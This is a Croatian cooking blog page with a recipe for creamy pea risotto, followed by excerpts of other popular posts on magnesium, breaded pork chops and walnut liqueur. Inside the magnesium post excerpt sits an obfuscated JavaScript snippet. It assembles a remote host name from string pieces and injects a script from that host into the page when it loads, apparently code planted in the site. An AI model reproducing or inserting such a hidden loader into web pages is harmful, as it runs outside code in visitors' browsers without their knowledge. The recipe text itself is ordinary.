MIRISNI KREMASTI RIŽOTO S GRAŠKOM




Mirisni kremasti rižoto s graškom 




Rižoto s graškom lagano je, aromatično i ukusno jelo koje ćete spremito od nule za za manje od sat vremena. Kombinacija (svježeg ili smrznutog) graška, mirisnog začinskog bilja, limuna i parmezana daje ovom jelu svježinu i pun, zeleni okus, dok će se arborio riža pobrinuti za onu finu kremastu teksturu kakvu dobar rižiti treba imati.





Mirisni kremasti rižoto s graškom 


Sastojci:

  • 300 g svježeg ili smrznutog graška
  • 3 žlice maslinova ulja
  • 1 velika ljutika, sitno nasjeckana
  • 5 češnjeva češnjaka, protisnutih
  • 750 ml povrtnog temeljca
  • 10 g svježeg korijandra
  • 10 g svježeg bosiljka
  • 10 g svježeg vlasca
  • 40 g maslaca
  • 250 g arborio riže
  • 115 ml bijelog vina (po želji)
  • naribana korica i sok 1/2 limuna
  • 100 g sitno naribanog parmezana, plus za posluživanje

Za posluživanje

  • mascarpone, po jedna žlica za svaku porciju (po želji)
  • naribana korica limuna
  • sitno nasjeckani svježi vlasac
  • parmezan



Priprema:

  1. Zakuhajte lonac vode pa dodajte grašak. Kuhajte 2 do 3 minute, zatim ga ocijedite i ostavite sa strane.
  2. U dubokoj tavi zagrijte maslinovo ulje na srednje jakoj vatri. Dodajte sitno nasjeckanu ljutiku i pirjajte oko 3 minute dok ne omekša. Umiješajte češnjak i kuhajte još jednu minutu.
  3. U međuvremenu zagrijte povrtni temeljac i održavajte ga toplim na laganoj vatri.
  4. U blender stavite pirjanu ljutiku i češnjak, svježi korijandar, bosiljak i vlasac, polovicu kuhanog graška te 160 ml vode. Miksajte dok ne dobijete potpuno glatki zeleni pire.
  5. U istoj tavi otopite maslac pa dodajte rižu. Miješajući je kratko popržite oko jedne minute kako bi se svako zrno obložilo masnoćom.
  6. Ako koristite bijelo vino, ulijte ga sada i kuhajte dok potpuno ne ispari.
  7. Zatim postupno dodajte vrući temeljac, jednu zaimaču po jednu. Svaku novu turu dodajte tek kada riža upije prethodnu, uz često miješanje.
  8. Kada riža upije sav temeljac, umiješajte pripremljeni pire od graška. Smanjite vatru na minimum i kuhajte još 10 do 15 minuta, dok riža ne bude kremasta, ali i dalje lagano čvrsta pod zubom.
  9. Maknite s vatre pa umiješajte limunov sok, naribanu koricu limuna i parmezan. Na kraju dodajte preostali kuhani grašak i lagano promiješajte.
  10. Rižoto rasporedite u duboke tanjure. Po želji na svaku porciju stavite žlicu mascarponea te pospite naribanom koricom limuna, svježim vlascem i dodatnim parmezanom.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više